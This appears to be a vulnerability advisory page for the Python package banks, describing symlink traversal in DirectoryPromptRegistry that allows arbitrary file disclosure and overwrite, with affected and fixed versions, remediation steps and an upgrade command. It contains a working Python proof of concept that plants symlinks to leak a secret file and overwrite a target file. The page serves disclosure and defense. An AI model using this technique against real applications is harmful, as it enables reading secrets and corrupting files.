banks
Affected
- introduced
0, fixed2.5.1(ecosystem)
Fixed versions
2.5.1
Fix
- Fixed version
2.5.1pip install --upgrade banks==2.5.1
Advisory
Also known as: CVE-2026-107716, PYSEC-2026-4201
Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry
Summary
In banks.registries.DirectoryPromptRegistry, prompt file paths and the index file (index.json) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via _scan() / get() or overwrite arbitrary files via set() / _save().
Details
Following PR #77, DirectoryPromptRegistry validates path resolution for prompt names. However:
self._index_path (index.json) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by _save() upon reg.set(), or read via _load()._scan(), discovered .jinja files are opened and indexed without checking if path.is_symlink() or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed.set(), prompt_file.write_text(...) is called without checking if prompt_file is an existing symbolic link pointing outside the root.Impact
Arbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.
Proof of Concept
import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt
# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")
os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)
# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())
Remediation
_validate_index_path(): verify _index_path is not a symlink and resolves within _path._scan(): reject path.is_symlink() and check path.resolve().is_relative_to(root).set(): reject existing symbolic links before writing.A tested fix and regression tests have been prepared and pushed to:
https://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting
Medium Basis: The source's own band: MODERATE
0, fixed 2.5.1 (ecosystem)2.5.1
2.5.1pip install --upgrade banks==2.5.1Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0